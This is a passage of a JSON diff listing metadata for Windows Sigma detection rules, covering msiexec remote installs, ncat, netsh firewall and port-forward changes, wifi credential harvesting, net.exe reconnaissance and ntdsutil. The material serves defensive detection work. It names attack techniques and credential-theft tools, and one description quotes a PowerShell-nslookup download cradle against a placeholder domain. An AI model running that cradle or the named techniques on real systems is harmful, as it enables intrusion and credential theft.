Execute Arbitrary DLL" + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/16", + "falsepositive": [ + "Legitimate script" + ], + "filename": "proc_creation_win_msiexec_install_quiet.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://twitter.com/_st0pp3r_/status/1583914244344799235", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ] + }, + "uuid": "79a87aa6-e4bd-42fc-a5bb-5e6fbdcd62f5", + "value": "Suspicious Msiexec Quiet Install" + }, + { + "description": "Detects usage of Msiexec.exe to install packages hosted remotely quietly", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_msiexec_install_remote.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ] + }, + "uuid": "8150732a-0c9d-4a99-82b9-9efb9b90c40c", + "value": "Suspicious Msiexec Quiet Install From Remote Location" + }, + { + "description": "Detects process injection using Microsoft Remote Asssistance (Msra.exe) which has been used for discovery and persistence tactics", + "meta": { + "author": "Alexander McDonald", + "creation_date": "2022/06/24", + "falsepositive": [ + "Legitimate use of Msra.exe" + ], + "filename": "proc_creation_win_msra_process_injection.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", + "https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ] + }, + "uuid": "744a188b-0415-4792-896f-11ddb0588dbc", + "value": "Msra.exe Process Injection" + }, + { + "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", + "meta": { + "author": "frack113", + "creation_date": "2022/01/07", + "falsepositive": [ + "WSL (Windows Sub System For Linux)", + "Other currently unknown software" + ], + "filename": "proc_creation_win_mstsc.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.001" + ] + }, + "uuid": "954f0af7-62dd-418f-b3df-a84bc2c7a774", + "value": "Remote Desktop Protocol Use Mstsc" + }, + { + "description": "Detects multiple suspicious process in a limited timeframe", + "meta": { + "author": "juju4", + "creation_date": "2019/01/16", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_multiple_susp_cli.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://car.mitre.org/wiki/CAR-2013-04-002", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_multiple_susp_cli.yml" + ], + "tags": [ + "car.2013-04-002", + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "61ab5496-748e-4818-a92f-de78e20fe7f1", + "value": "Quick Execution of a Series of Suspicious Commands" + }, + { + "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", + "meta": { + "author": "frack113, Florian Roth", + "creation_date": "2021/07/21", + "falsepositive": [ + "Legitimate ncat use" + ], + "filename": "proc_creation_win_netcat_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://nmap.org/ncat/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netcat_execution.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1095" + ] + }, + "uuid": "e31033fc-33f0-4020-9a16-faf9b31cbf08", + "value": "Ncat Execution" + }, + { + "description": "Detects netsh commands that opens the port 3389 used for RDP, used in Sarwent Malware", + "meta": { + "author": "Sander Wiebing", + "creation_date": "2020/05/23", + "falsepositive": [ + "Legitimate administration" + ], + "filename": "proc_creation_win_netsh_allow_port_rdp.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_allow_port_rdp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ] + }, + "uuid": "01aeb693-138d-49d2-9403-c4f52d7d3d62", + "value": "Netsh RDP Port Opening" + }, + { + "description": "Allow Incoming Connections by Port or Application on Windows Firewall", + "meta": { + "author": "Markus Neis, Sander Wiebing", + "creation_date": "2019/01/29", + "falsepositive": [ + "Legitimate administration" + ], + "filename": "proc_creation_win_netsh_fw_add.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/software/S0246/ (Lazarus HARDRAIN)", + "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ] + }, + "uuid": "cd5cfd80-aa5f-44c0-9c20-108c4ae12e3c", + "value": "Netsh Port or Application Allowed" + }, + { + "description": "Detects Netsh commands that allows a suspcious application location on Windows Firewall", + "meta": { + "author": "Sander Wiebing, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2020/05/25", + "falsepositive": [ + "Legitimate administration" + ], + "filename": "proc_creation_win_netsh_fw_add_susp_image.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.virusradar.com/en/Win32_Kasidet.AD/description", + "https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_susp_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ] + }, + "uuid": "a35f5a72-f347-4e36-8895-9869b0d5fc6d", + "value": "Netsh Program Allowed with Suspcious Location" + }, + { + "description": "Detects the removal of a port or application rule in the Windows Firewall configuration using netsh", + "meta": { + "author": "frack113", + "creation_date": "2022/08/14", + "falsepositive": [ + "Legitimate administration" + ], + "filename": "proc_creation_win_netsh_fw_delete.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/8bbd5b4c-b82d-4e6d-a3ea-d454594a37cc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ] + }, + "uuid": "1a5fefe6-734f-452e-a07d-fc1c35bce4b2", + "value": "Netsh Firewall Rule Deletion" + }, + { + "description": "Adversaries may modify system firewalls in order to bypass controls limiting network usage", + "meta": { + "author": "frack113", + "creation_date": "2022/01/09", + "falsepositive": [ + "Legitimate administration" + ], + "filename": "proc_creation_win_netsh_fw_enable_group_rule.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-3---allow-smb-and-rdp-on-microsoft-defender-firewall", + "https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_enable_group_rule.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ] + }, + "uuid": "347906f3-e207-4d18-ae5b-a9403d6bcdef", + "value": "Netsh Allow Group Policy on Microsoft Defender Firewall" + }, + { + "description": "Detects capture a network trace via netsh.exe trace functionality", + "meta": { + "author": "Kutepov Anton, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate administrator or user uses netsh.exe trace functionality for legitimate reason" + ], + "filename": "proc_creation_win_netsh_packet_capture.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blogs.msdn.microsoft.com/canberrapfe/2012/03/30/capture-a-network-trace-without-installing-anything-capture-a-network-trace-of-a-reboot/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_packet_capture.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ] + }, + "uuid": "d3c3861d-c504-4c77-ba55-224ba82d0118", + "value": "Capture a Network Trace with netsh.exe" + }, + { + "description": "Detects netsh commands that configure a port forwarding (PortProxy)", + "meta": { + "author": "Florian Roth, omkar72, oscd.community", + "creation_date": "2019/01/29", + "falsepositive": [ + "Legitimate administration", + "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)" + ], + "filename": "proc_creation_win_netsh_port_fwd.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://adepts.of0x.cc/netsh-portproxy-code/", + "https://www.dfirnotes.net/portproxy_detection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1090" + ] + }, + "uuid": "322ed9ec-fcab-4f67-9a34-e7c6aef43614", + "value": "Netsh Port Forwarding" + }, + { + "description": "Detects netsh commands that configure a port forwarding of port 3389 used for RDP", + "meta": { + "author": "Florian Roth, oscd.community", + "creation_date": "2019/01/29", + "falsepositive": [ + "Legitimate administration" + ], + "filename": "proc_creation_win_netsh_port_fwd_3389.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd_3389.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.defense_evasion", + "attack.command_and_control", + "attack.t1090" + ] + }, + "uuid": "782d6f3e-4c5d-4b8c-92a3-1d05fed72e63", + "value": "Netsh RDP Port Forwarding" + }, + { + "description": "Detect the harvesting of wifi credentials using netsh.exe", + "meta": { + "author": "Andreas Hunkeler (@Karneades), oscd.community", + "creation_date": "2020/04/20", + "falsepositive": [ + "Legitimate administrator or user uses netsh.exe wlan functionality for legitimate reason" + ], + "filename": "proc_creation_win_netsh_wifi_credential_harvesting.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_wifi_credential_harvesting.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ] + }, + "uuid": "42b1a5b8-353f-4f10-b256-39de4467faff", + "value": "Harvesting of Wifi Credentials Using netsh.exe" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/09/25", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_netsupport.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsupport.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "758ff488-18d5-4cbe-8ec4-02b6285a434f", + "value": "Use of NetSupport Remote Access Software" + }, + { + "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system", + "meta": { + "author": "frack113", + "creation_date": "2022/03/12", + "falsepositive": [ + "Legitimate script" + ], + "filename": "proc_creation_win_network_scan_loop.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://ss64.com/nt/for.html", + "https://ss64.com/ps/foreach-object.htmll", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_scan_loop.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.discovery", + "attack.t1018" + ] + }, + "uuid": "f8ad2e2c-40b6-4117-84d7-20b89896ab23", + "value": "Suspicious Scan Loop Network" + }, + { + "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "Admin activity" + ], + "filename": "proc_creation_win_network_sniffing.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_sniffing.yml" + ], + "tags": [ + "attack.credential_access", + "attack.discovery", + "attack.t1040" + ] + }, + "uuid": "ba1f7802-adc7-48b4-9ecb-81e227fddfd5", + "value": "Network Sniffing" + }, + { + "description": "Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/01", + "falsepositive": [ + "Some fasle positives could occure with the admin or guest account. It depends on the scripts being used by the admins in your env. If you experience a lot of FP you could reduce the level to medium" + ], + "filename": "proc_creation_win_net_default_accounts_manipulation.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_default_accounts_manipulation.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ] + }, + "uuid": "5b768e71-86f2-4879-b448-81061cbae951", + "value": "Suspicious Manipulation Of Default Accounts" + }, + { + "description": "Identifies attempts to enumerate hosts in a network using the built-in Windows net.exe tool.", + "meta": { + "author": "Endgame, JHasenbusch (ported for oscd.community)", + "creation_date": "2018/10/30", + "falsepositive": [ + "Legitimate use of net.exe utility by legitimate user" + ], + "filename": "proc_creation_win_net_enum.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_enum.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ] + }, + "uuid": "62510e69-616b-4078-b371-847da438cc03", + "value": "Windows Network Enumeration" + }, + { + "description": "Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE", + "meta": { + "author": "Florian Roth, omkar72, @svch0st, Nasreddine Bencherchali", + "creation_date": "2019/01/16", + "falsepositive": [ + "Inventory tool runs", + "Administrative activity" + ], + "filename": "proc_creation_win_net_recon.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001", + "attack.t1087.002" + ] + }, + "uuid": "d95de845-b83c-4a9a-8a6a-4fc802ebf6c0", + "value": "Suspicious Reconnaissance Activity Using Net" + }, + { + "description": "Identifies creation of local users via the net.exe command.", + "meta": { + "author": "Endgame, JHasenbusch (adapted to Sigma for oscd.community)", + "creation_date": "2018/10/30", + "falsepositive": [ + "Legitimate user creation.", + "Better use event IDs for user creation rather than command line rules." + ], + "filename": "proc_creation_win_net_user_add.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ] + }, + "uuid": "cd219ff3-fa99-45d4-8380-a7d15116c6dc", + "value": "Net.exe User Account Creation" + }, + { + "description": "Detects creation of local users via the net.exe command with the option \"never expire\"", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/12", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_net_user_add_never_expire.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001" + ] + }, + "uuid": "b9f0e6f5-09b4-4358-bae4-08408705bd5c", + "value": "Net.exe User Account Creation - Never Expire" + }, + { + "description": "Detects when an admin share is mounted using net.exe", + "meta": { + "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, wagga", + "creation_date": "2020/10/05", + "falsepositive": [ + "Administrators" + ], + "filename": "proc_creation_win_net_use_admin_share.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_admin_share.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "3abd6094-7027-475f-9630-8ab9be7b9725", + "value": "Mounted Windows Admin Shares with net.exe" + }, + { + "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/23", + "falsepositive": [ + "Other legitimate network providers used and not filtred in this rule" + ], + "filename": "proc_creation_win_new_network_provider.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", + "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_network_provider.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ] + }, + "uuid": "baef1ec6-2ca9-47a3-97cc-4cf2bda10b77", + "value": "New Network Provider - CommandLine" + }, + { + "description": "Detects creation of a new service.", + "meta": { + "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "Legitimate administrator or user creates a service for legitimate reasons." + ], + "filename": "proc_creation_win_new_service_creation.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_service_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ] + }, + "uuid": "7fe71fc9-de3b-432a-8d57-8c809efc10ab", + "value": "New Service Creation" + }, + { + "description": "Detects usage of nimgrab, a tool bundled with the Nim programming framework, downloading a file. This can be normal behaviour on developer systems.", + "meta": { + "author": "frack113", + "creation_date": "2022/08/28", + "falsepositive": [ + "Legitimate use of Nim on developer systems" + ], + "filename": "proc_creation_win_nimgrab.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nimgrab.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "74a12f18-505c-4114-8d0b-8448dd5485c6", + "value": "Nimgrab File Download" + }, + { + "description": "Detects nltest commands that can be used for information discovery", + "meta": { + "author": "Craig Young, oscd.community, Georg Lauenstein", + "creation_date": "2021/07/24", + "falsepositive": [ + "Legitimate administration use but user must be check out" + ], + "filename": "proc_creation_win_nltest_recon.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", + "https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/", + "https://attack.mitre.org/techniques/T1482/", + "https://attack.mitre.org/techniques/T1016/", + "https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016", + "attack.t1482" + ] + }, + "uuid": "5cc90652-4cbd-4241-aa3b-4b462fa5a248", + "value": "Recon Activity with NLTEST" + }, + { + "description": "Detects the execution node.exe which is shipped with multiple softwares such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_node_abuse.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return", + "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", + "https://nodejs.org/api/cli.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ] + }, + "uuid": "6640f31c-01ad-49b5-beb5-83498a5cd8bd", + "value": "Node.exe Process Abuse" + }, + { + "description": "Detects non-interactive PowerShell activity by looking at powershell.exe with not explorer.exe as a parent.", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements)", + "creation_date": "2019/09/12", + "falsepositive": [ + "Legitimate programs executing PowerShell scripts" + ], + "filename": "proc_creation_win_non_interactive_powershell.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_interactive_powershell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "f4bbd493-b796-416e-bbf2-121235348529", + "value": "Non Interactive PowerShell" + }, + { + "description": "Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry", + "meta": { + "author": "Teymur Kheirkhabarov (idea), Ryan Plas (rule), oscd.community", + "creation_date": "2020/10/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_non_priv_reg_or_ps.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_priv_reg_or_ps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "8f02c935-effe-45b3-8fc9-ef8696a9e41d", + "value": "Non-privileged Usage of Reg or Powershell" + }, + { + "description": "Detects the use of NPS a port forwarding tool", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/10/08", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_nps.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/ehang-io/nps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nps.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ] + }, + "uuid": "68d37776-61db-42f5-bf54-27e87072d17e", + "value": "NPS Tunneling Tool" + }, + { + "description": "Detects usage of powershell in conjunction with nslookup as a mean of download.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/05", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_nslookup_poweshell_download.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Alh4zr3d/status/1566489367232651264", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_poweshell_download.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "1b3b01c7-84e9-4072-86e5-fc285a41ff23", + "value": "Nslookup PowerShell Download" + }, + { + "description": "This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]", + "meta": { + "author": "Zach Mathis (@yamatosecurity)", + "creation_date": "2022/09/06", + "falsepositive": "No established falsepositives", + "filename": "proc_creation_win_nslookup_pwsh_download_cradle.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/alh4zr3d/status/1566489367232651264", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_pwsh_download_cradle.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105", + "attack.t1071.004" + ] + }, + "uuid": "72671447-4352-4413-bb91-b85569687135", + "value": "Nslookup PwSh Download Cradle" + }, + { + "description": "Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2019/01/16", + "falsepositive": [ + "NTDS maintenance" + ], + "filename": "proc_creation_win_ntdsutil_usage.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/ntdsutil.htm", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntdsutil_usage.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.003" + ] + }, + "uuid": "2afafd61-6aae-4df4-baed-139fa1f4c345", + "value": "Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)" + }, + { + "description": "Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection", + "meta": 